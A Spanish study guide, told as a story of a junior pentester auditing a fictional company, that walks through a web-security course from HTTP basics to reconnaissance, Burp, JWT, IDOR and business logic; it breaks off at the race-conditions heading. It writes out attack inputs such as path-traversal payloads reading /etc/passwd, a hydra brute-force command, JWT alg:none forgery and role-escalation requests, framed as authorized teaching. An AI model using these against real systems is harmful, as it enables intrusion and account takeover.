🕵️ La Auditoría

Un cuento para recorrer —y entender— todo el curso de *Software Seguro*

> *Este apunte cuenta el curso como una historia. Sos* **vos***, una pentester junior en tu primer trabajo real, y te toca auditar una empresa ficticia llamada* **Aldeas S.A.***. Cada cosa que aprendés la vas a necesitar en la escena siguiente: por eso los conceptos se encadenan. Todo lo técnico (comandos, payloads, herramientas) es real y sale de las clases 1 a 9 del curso.*
>
> *Al final hay un* **mapa conceptual***, un* **cuadro resumen** *y un* **glosario***.*

🧭 Prólogo — La frase que vas a escuchar todo el curso

Tu jefa, Lucía, una pentester con años de cancha, te recibe el primer día y te dice una sola cosa antes de darte una computadora:

> *—Grabate esto, porque es el 90% de nuestro trabajo:* **el sistema siempre va a confiar en algo que viene del lado del usuario. Nuestro trabajo es encontrar dónde confió de más.** *El navegador, la URL, los formularios, las cookies… todo eso está en manos del que ataca. Si el servidor no lo verifica otra vez de su lado, ahí hay un agujero.*

Vos todavía no entendés del todo. Al final de la historia, lo vas a decir de memoria.

Lucía te explica también **cómo trabaja un pentester**, en etapas, y que a lo largo del curso las vas a recorrer todas:

Reconocimiento → Negociación → Explotación → Validación → Reporte.

Y te aclara qué es esto, con una definición que te hace anotar:

> *"El pentesting es una simulación controlada y* **autorizada** *de un ciberataque contra sistemas, redes o aplicaciones, para identificar, evaluar y corregir vulnerabilidades* **antes** *de que las exploten los malos."*

La palabra que más repite es **autorizada**. Sin permiso y sin *scope* (alcance), no se toca nada. Eso es lo que separa a un *hacker ético* de un delincuente.

🟦 ACTO 1 — Aprender a ver (cómo viaja un dato)

(Clase 1 · Módulo I)

Lucía abre un navegador y te muestra algo que usás todos los días sin mirarlo: una página web cargando.

—Antes de romper algo, tenés que entender cómo está hecho —te dice—. La web es una **conversación entre dos**: un **Cliente** que pide y un **Servidor** que responde.

Te dibuja el camino de un login, que no te vas a olvidar más:

```
Vos (Usuario)
   ↓ escribís mail y contraseña
Frontend (el navegador: HTML, CSS, JS)   ← vive en TU máquina, no es de fiar
   ↓ HTTP Request
[ HTTPS / TLS ]   ← el túnel cifrado
   ↓
Backend (el servidor: la lógica, las decisiones)   ← ACÁ deben estar los controles
   ↓ consulta
Base de Datos   ← usuarios, claves (hasheadas), datos
   ↑ resultado
Backend → [HTTPS/TLS] → Frontend → "Bienvenida" o "Error"
```

—El **Frontend** es lo que ves; el **Backend** es lo que decide. ¿Dónde pondrías vos la seguridad? —te pregunta.
—¿En el que veo?
—No. En el que **decide**. El frontend lo puede reescribir cualquiera. Nunca confíes en el cliente.

Ahí recién entendés la frase del prólogo.

La anatomía de una URL

Te hace leer una dirección como si fuera un mapa:

```
https://api.aldeas.com/clientes/1024?activo=true
└──┘   └┘ └─────┬─────┘ └────┬────┘ └──────┬──────┘
Protocolo Sub  Dominio    Path        Parámetros (clave=valor)
(http/https)  (principal) (el recurso) (viajan en la URL)
```

—Ese `1024` del path y ese `activo=true` de los parámetros los controlás **vos** —te dice—. Acordate de eso para más adelante. —(Lo vas a usar en el Acto 6.)

Los métodos HTTP: los verbos de la conversación

Cada petición tiene un **verbo** que dice qué querés hacer:

Método	Qué hace	Detalle que importa
GET	Pedir datos	Los parámetros viajan **en la URL** → nunca mandes contraseñas por GET
POST	Enviar datos (crear)	Los datos van **ocultos en el cuerpo (body)**
PUT	**Reemplazar** un recurso completo	Si omitís un campo, lo borra
PATCH	Modificar **solo una parte**	Cambia el campo que mandás, deja el resto
DELETE	Borrar un recurso	—
HEAD	Como GET pero sin cuerpo	Para ver si algo existe
OPTIONS	"¿Qué métodos aceptás?"	El servidor lista lo permitido

—Ojo con esto —te marca Lucía—, porque muchos ataques son tan simples como **cambiarle el verbo a una petición**. Un `PATCH` que debería estar protegido, mandado como `GET`, a veces se cuela. (Spoiler del Acto 5.)

Los headers (cabeceras): el contexto

Cada petición lleva **metadatos**. Los que te importan:

- **Host:** a qué dominio exacto le hablás.
- **User-Agent:** qué navegador/SO decís ser (se puede mentir).
- **Cookie:** tu "pase" de sesión. Como HTTP **no tiene memoria** (es *stateless*), la cookie es lo que te mantiene logueada entre una petición y otra.
- **Content-Type:** en qué formato mandás los datos (JSON, formulario…).

Los códigos de estado: cómo te contesta

Familia	Significa	Ejemplos
2xx Éxito	Salió bien	**200 OK**
3xx Redirección	Andá a otro lado	301 (mudanza permanente), 302 (temporal)
4xx Error del cliente	La macaste vos	**401** (no autenticado), **403** (no autorizado), **404** (no existe)
5xx Error del servidor	La macó el server	**500** (falla interna)

HTTP vs HTTPS y el apretón de manos

—¿Por qué tanto HTTPS? —te pregunta. Y te lo contesta sola:

- **HTTP** es **texto plano**: cualquiera en tu red lee tus contraseñas. Sin autenticación: no sabés si el servidor es el real.
- **HTTPS** cifra todo con **TLS/SSL**. Aunque un atacante intercepte (un *Man-in-the-Middle*), solo ve **ruido**. Y usa **certificados digitales** (el "DNI" del sitio) para probar que el servidor es legítimo.

Antes de hablar, cliente y servidor hacen el **TLS Handshake**: el servidor muestra su certificado, el navegador lo verifica, y acuerdan una **clave secreta** para cifrar la charla. *Como dos personas que se muestran el documento y*

acuerdan un idioma propio antes de contarse un secreto.

🧪 Tu primer laboratorio

Lucía te sienta a hacer dos ejercicios del curso:

1. **"Uso del Inspector":** abrís las DevTools del navegador (**F12**), vas a la pestaña **Network** y mirás, en vivo, las peticiones y respuestas, las cabeceras, las cookies. Tu primera lupa.
2. **"Aldeas Inseguras":** empezás a **manipular parámetros** y a leer las respuestas del servidor para descubrir comportamientos inesperados.

Y un tercero que te marca a fuego la idea de "contar respuestas": el lab **Ventas**. Un endpoint `/ventas/?id=1` devuelve **403** si la venta existe pero no es tuya, y **404** si no existe. Automatizás con Python el recorrido de IDs:

```
import requests
id_venta = 1
while True:
    r = requests.get(URL, params={"id": id_venta}, timeout=10)
    # clasificás por r.status_code: 200 / 403 / 404
    id_venta += 1
```

Cuando ves que **un 403 te confirma que ese ID existe** (aunque no puedas verlo), entendés algo grande: *el servidor te está filtrando información con el solo hecho de responder distinto.* Guardá esa idea: es la semilla de la **enumeración** y del **IDOR** (Acto 6).

> 🔍 **Cómo verlo en el software:** abrí **DevTools (F12) → Network**, hacé una acción (login, abrir un recurso) y clic en la petición: ahí ves su **método** (GET/POST…), la **URL con sus parámetros**, los **headers** y el **código de estado**. Para repetirla y modificarla, clic derecho → *Copy as cURL* o mandala al **Repeater de Burp**. La señal de que hay algo: **cambiás un parámetro y la respuesta cambia** (otro status, otro tamaño, otro tiempo).

🟩 ACTO 2 — Mirar antes de tocar (reconocimiento)

(Clase 2 · Módulo II)

Lucía te asigna tu primer objetivo real: **Aldeas S.A.**. Vos querés tirar un ataque ya. Ella te frena:

—Primero **reconocimiento**. Un buen pentester pasa más tiempo mirando que atacando. Y hay dos formas de mirar.

Pasivo vs Activo

	Reconocimiento Pasivo	**Reconocimiento Activo**
Qué hacés	Mirás **fuentes públicas**, sin tocar al objetivo	**Interactuás** directo con la app
Riesgo	**Indetectable** (no generás logs)	Genera logs, puede disparar bloqueos de IP
Herramientas	crt.sh, Shodan, VirusTotal, Wayback Machine, Subfinder, GAU	Nmap, ffuf, Wappalyzer, httpx, nuclei

—El pasivo es tu etapa preferida al principio: **sos invisible** para el WAF y el SIEM —te dice.

El arsenal de reconocimiento (los nombres propios que anotás)

Pasivo:
- **Subfinder** — enumera subdominios sin tocar al objetivo (interroga servicios externos):
`subfinder -d aldeas.com -silent -o subdominios.txt`
- **GAU (GetAllURLs)** — rutas históricas, APIs viejas, archivos filtrados (`.bak` , `.env` , `.sql`):
`gau aldeas.com --subs -o urls.txt`
- **Shodan** — un "Google de puertos abiertos": IPs, puertos expuestos y hasta CVEs. Filtros como `ssl:"aldeas.com"` u `org:"Aldeas Corp"` .
- Más fuentes: **crt.sh** (certificados), **bgp.he.net**, la **GHDB** (Google Dorks) de Exploit-DB.

Activo:
- **Nmap** — escanea puertos y detecta servicios/versiones. *Recordá la analogía: la IP es el edificio, los puertos son las puertas.*
`bash sudo nmap -p- --open --min-rate 5000 -n aldeas.com # todos los puertos abiertos nmap -sV -p 80,443 aldeas.com # versiones en web`
Puertos clásicos: 21 FTP (inseguro), 22 SSH (cifrado), 23 Telnet (inseguro), 80 HTTP, 443 HTTPS, 3306 MySQL (¡no debería estar expuesto!).
- **ffuf** — fuzzing ultrarrápido: inyecta la palabra `FUZZ` para descubrir rutas ocultas:
`ffuf -u https://aldeas.com/FUZZ -w .../common.txt -c`
- **feroxbuster** — como ffuf pero con **recursión automática** (si encuentra `/admin/` , sigue dentro).
- **httpx** — sondea qué dominios están vivos y su stack. **Wappalyzer** — identifica frameworks/CMS/versiones.
- **nuclei** — escáner por plantillas YAML de la comunidad:
`nuclei -u https://aldeas.com -severity medium,high,critical`
- **WPScan** (WordPress), **Nikto** (fallas de infraestructura del servidor).

Mapear la lógica de negocio (el paso que casi nadie hace)

Antes de atacar, Lucía te manda a **navegar la app como un usuario normal** (el "*Happy Path*"), para entender las suposiciones del programador:

- **Identificá flujos críticos:** creación, borrado, transacciones, datos sensibles (PII).
- **Buscá todos los inputs:** campos de texto, fechas, números, subida de archivos/avatares.
- **Mirá los reportes:** ¿se pueden descargar archivos? ¿de dónde saca el contenido?
- **Secuencias de varios pasos:** Carrito → Envío → Pago → Confirmación, o la recuperación de contraseña.

—Esto parece aburrido —te dice—, pero es oro. **No podés romper una regla que no entendiste.** (Esto explota en el Acto 7.)

Tipos de pentest (para saber desde dónde partís)

- **Black Box:** no sabés nada, atacás como un extraño.
- **White Box:** tenés todo (código fuente, credenciales, diagramas).
- **Gray Box:** intermedio (te dan credenciales de usuario, algo de doc).

> 🔍 **Cómo verlo en el software:** el recon no se "ve" en la app, se ve en la **salida de las herramientas**: la lista de subdominios de `subfinder`, los **puertos abiertos** de `nmap`, las **rutas ocultas** que devuelve `ffuf` (status 200/301/403) y el **stack técnico** que marca la extensión **Wappalyzer** en el navegador. Además, en **DevTools → Network** mirás a qué **dominios y APIs** le pega la página: otro mapa de endpoints para atacar.

🟧 ACTO 3 — Meterse en el medio (interceptar y automatizar)

(Clase 3 · Módulo III)

Ahora sí, Lucía te instala **la herramienta madre**: un **proxy de interceptación**.

¿Qué es un proxy?

Un **intermediario**. En vez de que tu navegador hable directo con el servidor, le habla al proxy, y el proxy reenvía. Hay tres tipos:

- **Forward proxy:** filtra la salida de una red (el proxy del colegio que bloquea redes sociales).
- **Reverse proxy:** protege servidores (Cloudflare), oculta su IP real.
- **Proxy de intercepción (tu foco):** diseñado para que **frenes, leas y edites cada paquete** antes de que siga.

Cuando te ponés en el medio para leer/alterar la comunicación entre dos partes, eso es un **Man-in-the-Middle (MitM)**. Vos lo hacés como **auditora**, con permiso.

Burp Suite, módulo por módulo

Para ver el tráfico HTTPS, primero instalás el **certificado CA** de Burp (si no, el navegador desconfía). Después usás sus módulos:

- **Proxy & History:** el punto de captura. La bitácora completa de peticiones y respuestas.
- **Repeater (Ctrl+R):** aislás **una** petición y la **reenviás modificada** cuantas veces quieras, viendo la respuesta al instante. Es tu mesa de pruebas. Casos de uso:
- Manipular **IDs numéricos** para forzar accesos (IDOR otra vez 👀).
- Inyectar headers como `X-Forwarded-For`.
- Probar inputs raros (JSON malformado, caracteres especiales).

- **Intruder (Ctrl+I):** el **motor de automatización**. Sustituye marcadores por **listas de palabras** para fuerza bruta y enumeración.

Fuerza bruta y diccionario

La **fuerza bruta** prueba sistemáticamente combinaciones hasta acertar un secreto (contraseña, PIN, token, ruta). En web, es mandar muchas peticiones a un punto de entrada:

- **Fuerza bruta clásica:** probar todo el espacio posible (un PIN de 4 dígitos = 10.000 combinaciones).
- **Ataque de diccionario:** probar una **lista** de claves comunes. La más famosa: `rockyou.txt`.
- **Credential stuffing:** probar pares `user:pass` filtrados de otras brechas.
- **Password spraying:** una sola contraseña contra **muchos** usuarios (evade el bloqueo por intentos).

Dónde pega: formularios `POST /login`, APIs `/api/v1/auth`, recuperación de contraseña, códigos **OTP/PIN**. El impacto: **Account Takeover** (robo de cuenta).

La defensa (anotala para el reporte): **rate limiting**, **lockout** progresivo, **MFA/2FA**, **CAPTCHA** tras N intentos, hashing fuerte (**bcrypt/argon2 + salt**).

Acá resolvés labs como **"Apagar la IA"**, **"El mejor secreto"** y **"Votación"**, todos jugando con interceptar y repetir peticiones.

> 🔍 **Cómo verlo en el software:** mandá la petición del login al **Intruder de Burp**, marcá el campo contraseña como posición y cargá `rockyou.txt` como lista. Lanzás y **ordenás los resultados por código HTTP y por longitud de respuesta**: el intento que **rompe el patrón** (un 302/200 entre miles de 401, o una longitud distinta) es la credencial válida. Y si podés mandar miles de intentos **sin que te frene** (no hay rate limiting/captcha), eso **ya es** un hallazgo.

🟥 ACTO 4 — Ponerle nombre y número al peligro (reporte y CVSS)

(Clase 4 · Módulo IV)

Encontraste tu primer bug en Aldeas. Corrés a contárselo a Lucía. Ella sonríe:

—Un pentest **vale lo que vale su reporte**. Si el cliente no entiende el impacto, el riesgo sigue ahí. Ahora aprendés a **traducir**.

Dos idiomas, dos públicos

- **Resumen ejecutivo** (para directivos / *C-Level*): 100% negocio. Hablás de **riesgo operacional, pérdida monetaria, cumplimiento** (GDPR, PCI-DSS). **Cero jerga.**
- **Cuerpo técnico** (para Devs/DevOps): rutas exactas, endpoints, headers, **payloads**, precondiciones y **pasos de remediación** aplicables en código.

La Tríada CID (o CIA): los tres pilares

Toda vulnerabilidad golpea uno (o varios) de estos pilares:

Pilar	Qué protege	Cómo se rompe en la práctica
Confidencialidad	Que solo vea quien debe	**IDOR/BOLA**, fuga de datos en logs (stack traces), falta de cifrado
Integridad	Que no se altere sin permiso	**Inyecciones** (SQL), *parameter tampering* (cambiar un `precio`)
Disponibilidad	Que el servicio esté arriba	**DDoS**, falta de *rate limiting*, fugas de memoria

Lucía te hace un juego de "¿qué pilar se rompió?":

- Ransomware que cifra la base → **Disponibilidad**.
- Se filtran salarios y PII → **Confidencialidad**.
- Alteran montos en el payload JSON de una API → **Integridad**.
- `PUT /api/profile → {"id":1,"name":"German"}` sin control de acceso → **Integridad** (modificás algo que no es tuyo).

Cómo medir la gravedad: CVSS

El **CVSS (Common Vulnerability Scoring System)** es un estándar abierto que le pone un **número de 0 a 10** a una vulnerabilidad, para que todos la entiendan igual. El número sale de un **vector** de métricas:

Sigla	Qué pregunta	Valores
AV (Attack Vector)	¿Desde dónde se ataca?	**N**etwork / **A**djacent / **L**ocal / **P**hysical
AC (Attack Complexity)	¿Qué tan difícil es?	**L**ow / **H**igh
PR (Privileges Required)	¿Qué permisos necesita?	**N**one / **L**ow / **H**igh
UI (User Interaction)	¿Necesita que la víctima haga algo?	**N**one / **R**equired
S (Scope)	¿Afecta más allá del componente?	**U**nchanged / **C**hanged
C / I / A	Impacto en cada pilar	**N**one / **L**ow / **H**igh

Cómo leerlo rápido: `AV:N/PR:N/UI:N` + `C:H/I:H/A:H` significa *atacable por internet, sin credenciales, sin ayuda de la víctima, y rompe todo* → **crítico**.

Puntaje	Severidad
0.1–3.9	Baja
4.0–6.9	Media
7.0–8.9	Alta
9.0–10.0	Crítica

La ficha del hallazgo (el ticket)

Todo bug se reporta con: **ID**, nombre, **categoría**, **score + vector CVSS**, URLs y endpoints afectados, **descripción**, **paso a paso para reproducir**, **mitigación** y **evidencias**.

También conocés el **ASVS** de OWASP: un *checklist* por niveles (V1 Codificación y sanitización, V2 Validación y lógica de negocio, V6 Autenticación, V7 Sesiones, V8 Autorización, V11 Criptografía, V13 Configuración…). Es la lista de verificación para auditar un desarrollo "nivel por nivel".

💉 Tu primer reporte oficial: el **Turnero**

Lo aplicás todo en el lab **Turnero**: una API de turnos médicos donde pudiste **consultar y borrar turnos de otro usuario** (`xdalvik`) desde tu sesión, porque el servidor nunca verificó quién era el dueño. Lo clasificás como **IDOR** (CWE-639/862) y le ponés:

> **CVSS 8.8 (Alta)** → `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`

Tu primer informe profesional. Lucía lo aprueba. (Y sin saberlo, ya entendiste el Acto 6.)

🟥 ACTO 5 — Las puertas mal cerradas (Security Misconfiguration)

(Clase 5 · Módulo V)

—La mayoría de las brechas **no son bugs geniales** —te confiesa Lucía—. Son **descuidos**. Una config que vino insegura de fábrica, un archivo olvidado. Es el **A05** de OWASP, y es *el vector más frecuente*: nace de **omisiones humanas** en despliegues apurados.

Las cabeceras de seguridad que faltan

El servidor puede mandarle al navegador **instrucciones** para protegerte. Cuando faltan, hay riesgo:

Cabecera	Previene	Cómo
Content-Security-Policy (CSP)	XSS, inyección de scripts	Restringe de dónde se cargan scripts/recursos
X-Content-Type-Options	MIME sniffing	Obliga a respetar el `Content-Type`
Strict-Transport-Security (HSTS)	MITM, downgrade a HTTP	Fuerza HTTPS siempre
X-Frame-Options	Clickjacking	Evita que te embeban en un `<iframe>`
Referrer-Policy	Filtración de URLs	Controla qué se manda en el `Referer`

> 🔍 **Cómo verlo en el software:** en **DevTools (F12) → Network**, clic en la petición del documento principal y mirá **Response Headers**. Si **no aparecen** `Content-Security-Policy` , `Strict-Transport-Security` , `X-Frame-Options` , etc., esas defensas faltan. (Atajo: pegá la URL en **securityheaders.com** y te lo puntúa.)

Cookies: flags y entropía

Una cookie de sesión se protege con tres **flags** (lo volvés a ver en el Acto 6):

- **HttpOnly:** el JavaScript **no puede leerla** (`document.cookie`) → frena el robo por XSS.

- **Secure:** solo viaja por **HTTPS**.
- **SameSite** (Strict/Lax/None): controla el envío entre sitios → mitiga **CSRF**.

Y la **entropía**: si el ID de sesión es **predecible** (secuencial, basado en contador), se puede **adivinar** por fuerza bruta y **secuestrar** cuentas.

> 🔍 **Cómo verlo en el software: DevTools → Application** (en Firefox, *Storage*) → **Cookies**. Mirá las columnas de **flags**: ¿la cookie de sesión tiene ✓ en **HttpOnly**, **Secure** y un **SameSite**? Si falta alguno, es hallazgo. Y mirá el **valor**: si es corto o parece un número que sube (`SID=1024`), tiene **baja entropía**.

Manejo de errores (el servidor que habla de más)

Si una app muestra **stack traces** —trazas, rutas internas, versiones— le está regalando al atacante un **mapa interno**. La idea del ataque es *entregarle al servidor algo que su código no previó* para que una excepción escape a la respuesta. Disparadores típicos:

- Comillas y metacaracteres: `' " \ ; --` `
- Tipo equivocado: texto donde va un número (`id=abc`), negativos (`id=-1`), números enormes.
- Array donde va un escalar, JSON malformado (`{"id":}`), campos faltantes o de más.
- Payloads enormes (varios MB), Content-Type que no corresponde, null byte `%00` , verbos HTTP raros.

La defensa: **mensaje genérico** al usuario (`{"error":"No fue posible procesar la solicitud","requestId":"abc123"}`) y el detalle **solo en los logs** del servidor.

> 🔍 **Cómo verlo en el software:** forzá un error (mandá `id=abc` donde va un número, o una `'` suelta) desde el **Repeater de Burp** o la propia URL, y leé la **respuesta**: si aparece una **traza (stack trace), una ruta interna `/app/...` , el nombre del framework o la versión**, el servidor está filtrando información interna (*Information Disclosure*).

Los descuidos "clásicos" que buscás con fuzzing

- **Archivos filtrados:** `.env` , `.bak` , dumps `.sql` , configs servidos como estáticos. Contienen **credenciales de base de datos, tokens de pago y el secreto de firma JWT en texto plano**. Los buscás con ffuf/feroxbuster/dirsearch.
- **Directorio `.git/` accesible:** expone **todo el repositorio**. Con `git-dumper` lo reconstruís en local, y con `gitleaks` / `truffleHog` recorrés **todo el historial** (una credencial "borrada" sigue viva en un commit viejo).
- **Directory Listing:** si una carpeta no tiene `index.html` y el listado está activo, el servidor muestra **todos los archivos** como una lista navegable (backups, CSVs, configs). Defensa: desactivarlo (`Options -Indexes`).

> 🔍 **Cómo verlo en el software:** probá a mano rutas típicas en el navegador (`/.git/` , `/.env` , `/backup.zip`) y mirá el **código de estado**: un **200** (en vez de 403/404) significa que el archivo está servido. Automatizá con `ffuf` / `feroxbuster` + un diccionario de backups/configs: **toda ruta que devuelva 200 es tu botín**.

Dos trucos más de configuración

- **HTTP Parameter Pollution (HPP):** mandás el **mismo parámetro repetido** (`color=red&color=blue`). El estándar no define qué pasa, así que cada tecnología elige distinto (uno toma el primero, otro el último,

otro arma un array). Si un componente valida un valor y otro usa otro, se abre un hueco.

- **Path Traversal:** un parámetro que huele a archivo (`?file=` , `?page=` , `?download=`) y arma una ruta sin sanitizar. Insertás `../` para salir del directorio permitido: `?file=../../../../etc/passwd # básico Linux ?file=..%2f..%2f..%2fetc/passwd # URL-encoding si filtran ../ ?file=..%252f..%252fetc/passwd # doble encoding ?file=....//....//etc/passwd # replace no recursivo de ../ ?file=../../../../etc/passwd%00.png # null byte (apps viejas)`
- **CORS mal configurado:** la **Same-Origin Policy** prohíbe que un script de `malicioso.com` lea respuestas de `api.banco.com` . El servidor puede **relajar** eso con cabeceras. El combo mortal es `Access-Control-Allow-Origin: *` **junto con** `Access-Control-Allow-Credentials: true` : los navegadores modernos lo bloquean, pero una API *legacy* que lo acepte **expone la sesión de cualquier usuario**.

Y aparecen **ataques de cambio de método y de tokens de rol**: interceptás la petición que agrega permisos y **cambiás el método de** `PATCH` **a** `GET` (¿te acordás del Acto 1?); o copiás el **token temporal** que te dan para elegir rol, elegís "aspirante", y después **reenviás con el token viejo** para quedarte con más permisos de los que te tocan.

> 🔍 **Cómo verlo en el software:** todo esto se ve desde el **Repeater de Burp**, reenviando la misma petición con un cambio y mirando la **respuesta**: para **path traversal**, poné `?file=../../../../etc/passwd` y ver si te devuelve el archivo; para **CORS**, agregá `Origin: https://evil.com` y mirá si el servidor lo refleja en `Access-Control-Allow-Origin` ; para **HPP**, repetí el parámetro (`color=red&color=blue`) y ver cuál toma; para el **cambio de verbo**, editás la primera línea (`PATCH` → `GET`) y ves si igual ejecuta.

💉 Tu lab aquí: **Asistencia** (VULN-0005)

Reportás con la plantilla oficial una mala configuración que permitía acceso/manipulación indebida. Segundo informe formal, hecho.

🟪 ACTO 6 — La llave equivocada (control de acceso, IDOR y sesiones)

(Clase 6 · Módulo VI)

Esta es la clase que lo conecta todo, y empieza con una frase en la terminal:

```
root@seclab:~# ./acceso_control.sh --start
> Autenticación · Sesiones · IDOR · Escalada de privilegios
```

Lucía te marca la distinción más importante del curso:

> **Autenticar ≠ Autorizar.** *Autenticar es probar* **quién sos**. *Autorizar es chequear* **qué podés hacer**. *Casi todos los agujeros graves están en el segundo.*

1) Broken Authentication (fallos al probar quién sos)

- **Fuerza bruta en logins** (el Acto 3, ahora apuntado al login): `hydra -L users.txt -P rockyou.txt target`.
- **Enumeración de usuarios válidos:** la app te **delata** si una cuenta existe, aunque falles la contraseña:
- Mensaje distinto: "*Usuario no existe*" vs "*Password incorrecta*".
- **Timing:** tarda distinto si el user es válido.
- Status/headers/longitud de respuesta diferentes.
- El **signup** ("ese email ya está registrado") y el **reset** de contraseña confirman cuentas.
- *Fix:* respuestas y tiempos **uniformes**.

> 🔍 **Cómo verlo en el software:** intentá loguearte con un usuario que **existe** y con uno que **no**, y compará las dos respuestas en **Burp** (o DevTools → Network): ¿cambia el **mensaje**, el **código**, la **longitud** o el **tiempo**? Si `admin@...` responde distinto que `nadie@...`, podés **enumerar usuarios** válidos.

2) Gestión de sesiones (tu "pase" después de entrar)

Una vez logueada, tu sesión es un **token/cookie**. Los ataques:

- **Session Hijacking:** te **roban** el ID de sesión (por **XSS** —Acto 9— o sniffing) y te suplantan.
- **Session Fixation:** te **fuerzan** un ID conocido antes del login.
- **Token predecible:** IDs secuenciales / poca entropía → adivinables.
- **Cookie sin flags:** sin HttpOnly/Secure/SameSite.
- **JWT mal validado:** `alg:none`, firma no verificada, **secreto débil**.
- **Sin expiración:** la sesión no caduca ni se invalida al logout.

Cookie vulnerable vs endurecida:

```
[ VULNERABLE ]                  [ ENDURECIDA ]
Set-Cookie: SID=1024; path=/    Set-Cookie: SID=<rand-256b>;
                                   HttpOnly; Secure; SameSite=Strict
ID secuencial, adivinable        Alta entropía (CSPRNG)
Accesible por JS (XSS)           HttpOnly lo bloquea
Viaja en HTTP plano              Secure obliga HTTPS
Expuesta a CSRF                  SameSite mitiga CSRF
Nunca expira                     Expira y rota tras el login
```

> 🔍 **Cómo verlo en el software:** en **DevTools → Application → Cookies** (o en el header `Set-Cookie` de la respuesta, en Network) fijate si el ID de sesión **cambia tras loguearte** (si no cambia → *session fixation*), si **caduca** al cerrar sesión, y si su valor tiene **alta entropía**. Prueba clave: copiá la cookie y pegala en una ventana de **incógnito**; si entrás, la sesión es **reutilizable/robable**.

🔑 El JWT, en detalle (tu tema estrella)

Un **JWT** es el "pase" que te da el servidor al loguearte. Tres partes separadas por puntos:

```
BASE64URL(Header) . BASE64URL(Payload) . BASE64URL(Signature)
   eyJhbGci...     .     eyJ1c2Vy...     .    FGoloAz...
```

- **Header:** el algoritmo (`{"alg":"HS256"}`).
- **Payload: quién sos** (`{"user_id":1,"email":"...","exp":...}`).
- **Signature:** la **firma** que prueba que nadie lo tocó (un hash con la **clave secreta** del servidor).

> **La clave mental:** *Base64URL* **no es cifrado**, *es solo codificación. Cualquiera que tenga el token* **lee** *el Header y el Payload (lo pegás en jwt.io o lo pasás por Base64, sin clave). Lo que* **no** *puede (si está bien hecho) es* **cambiarlos**, *porque la firma dejaría de coincidir.*

Los dos ataques que practicás:
1. **Secreto filtrado o débil:** si conseguís la `SECRET_KEY` (¿te acordás del `.env` del Acto 5?), **firmás vos** un token con `user_id` del admin. El servidor lo valida con la misma clave y te cree → **te volvés admin**.
2. **Algoritmo `none`:** cambiás el header a `{"alg":"none"}`. Si el servidor **acepta** tokens sin firma, se cree cualquier Payload → admin **sin conocer la clave**. *Como un control que, si le decís "no me revises el pase", te deja pasar.* Defensa: **exigir** el algoritmo correcto y **rechazar** `none`.

> 🔍 **Cómo verlo en el software:** agarrá tu token (de **DevTools → Application → Cookies / Local Storage**, o del header `Authorization`) y pegá las dos primeras partes en **jwt.io** o pasalas por **Base64**: vas a **leer el Payload** (`user_id` , `rol` , `exp`) sin ninguna clave — esa es la prueba de que es *legible*. Para testear el ataque, modificás el Payload y reenviás desde **Burp**: si el servidor lo **acepta**, no está validando bien la firma.

3) IDOR (Insecure Direct Object Reference)

Y acá cierra el círculo que venís arrastrando desde el Acto 1 (el `1024` de la URL) y el Acto 4 (el Turnero):

> *La app expone un* **identificador** *de un objeto y* **confía en él** *sin verificar que tengas permiso sobre ese recurso.*

```
GET /account/1024/details → 200 OK (tu cuenta)
GET /account/1025/details → 200 OK (¡cuenta AJENA! · leak)
```

Dónde vive el ID manipulable: en la **URL** (`?id=` , `/user/42`), en IDs **secuenciales** fáciles de iterar (1, 2, 3…), o en **cuerpos, cookies y headers** (campos ocultos, JSON).

Cómo se cierra: **autorización por objeto** (verificar SIEMPRE que el recurso es tuyo, no solo que estás logueada), **IDs opacos** (UUID v4 en vez de enteros), **referencias indirectas** y **deny-by-default**.

> 🔍 **Cómo verlo en el software:** en **DevTools → Network** (o Burp) encontrá una petición con un **ID** (`/factura/1024` , `?id=1024`). Mandala al **Repeater** y **cambiá el número** (1024 → 1025). Si devuelve **200 con datos de otra persona**, es IDOR. El test fuerte: hacelo con **dos cuentas** (A y B) y pedí el recurso de B desde la sesión de A.

4) Escalada de privilegios

El premio de todo lo anterior:

- **Horizontal:** accedés a datos de **otra cuenta del mismo nivel** (userA → userB). *A menudo nace de un IDOR.*
- **Vertical:** subís de rango (**usuario común** → **admin**): forzás endpoints `/admin`, cambiás `role=user` → `role=admin`.

La **metodología de testeo** que anotás: (1) mapear roles y recursos, (2) crear **2 sesiones** (userA, userB y si se puede un admin), (3) interceptar con Burp, (4) **alterar identificadores** y repetir con otra sesión, (5) probar endpoints de rol desde una cuenta común, (6) documentar impacto.

> 🔍 **Cómo verlo en el software:** logueada como **usuario común**, pedí en el **Repeater** un endpoint de **admin** (`/admin`, `/api/users`): si responde **200** en vez de 403, es escalada **vertical**. Para la **horizontal**, repetí una acción cambiando el ID a otra cuenta. Y probá mandar `"role":"admin"` de más en el cuerpo (*mass assignment*): si te lo guarda, subiste de rango.

Y la frase con la que cierra la clase, que es la del prólogo madurada:

> **La autorización se verifica en el servidor. Siempre.**

🧪 Tus labs aquí

- **Consulta de Multas (VULN-0006):** la `SECRET_KEY` se filtraba por un endpoint → firmaste un JWT de admin → escalada **vertical**. **CVSS 9.1 Crítica**.
- **Notas Universitarias (VULN-0007):** superusuario por defecto (`admin/admin`, un *Broken Authentication* de manual) + `DEBUG=True` (mala config del Acto 5) + **IDOR** en el editor de notas (`materia_id` / `estudiante_id` editables). **CVSS 9.8 Crítica**.

¿Ves cómo se conectó todo? Config insegura (Acto 5) → secreto filtrado → JWT forjado (Acto 6) → escalada. Esa es la cadena.

🟫 ACTO 7 — Romper las reglas del juego (lógica de negocio)

(Clase 7)

Lucía te muestra el ataque más **sutil** de todos:

> *Las vulnerabilidades de* **lógica de negocio** *no inyectan código ni rompen sintaxis. El atacante usa la app* **exactamente como fue diseñada**, *pero* **encadena las acciones** *de un modo que el programador no previó, para sacar un beneficio indebido.*

Ejemplos: transferir **fondos negativos** para aumentar tu saldo, **saltarte el pago** del carrito, aplicar un **cupón 20 veces**.

Por qué son tan difíciles de encontrar:
- **Invisibles para los escáneres** (DAST/SAST): para una máquina, son peticiones HTTP **válidas y bien formadas**. Ningún escáner entiende que un rol "Cliente" no debería poder marcar un pedido como "Enviado".
- **No hay diccionario de payloads:** cada explotación es **a medida** del flujo.
- **Requieren contexto de negocio:** si no sabés las reglas, no sabés cuándo se rompen. (Por eso el mapeo del Acto 2 era oro.)

El modelado: entender las reglas para romperlas

- **Reconocimiento y mapeo:** roles, entidades, la **máquina de estados**, los flujos críticos.
- **Manipulación de parámetros:** precios, cantidades inesperadas, descuentos/cupones.
- **Workflow Bypass:** navegación forzada (saltar pasos), cancelar peticiones a mitad, *replay* de fases.

Race Conditions (condiciones de carrera)

